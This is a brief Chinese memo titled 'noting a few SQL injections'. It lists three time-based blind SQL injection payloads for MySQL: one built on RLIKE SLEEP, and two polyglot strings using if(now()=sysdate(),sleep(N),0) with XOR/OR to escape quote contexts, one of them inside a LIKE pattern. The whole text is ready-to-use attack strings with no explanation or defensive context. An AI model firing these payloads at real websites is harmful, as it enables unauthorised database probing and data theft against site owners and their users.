记几个SQL注入

 = ''||(SELECT 'vepi' FROM DUAL WHERE 8410=8410 RLIKE SLEEP(4))||''

 = 'if(now()=sysdate(),sleep(4),0)/*'xor(if(now()=sysdate(),sleep(4),0))or'"xor(if(now()=sysdate(),sleep(4),0))or"*/'

 like '%-if(now()=sysdate(),sleep(2),0)/*'XOR(if(now()=sysdate(),sleep(2),0))OR'"XOR(if(now()=sysdate(),sleep(2),0))OR"*/%'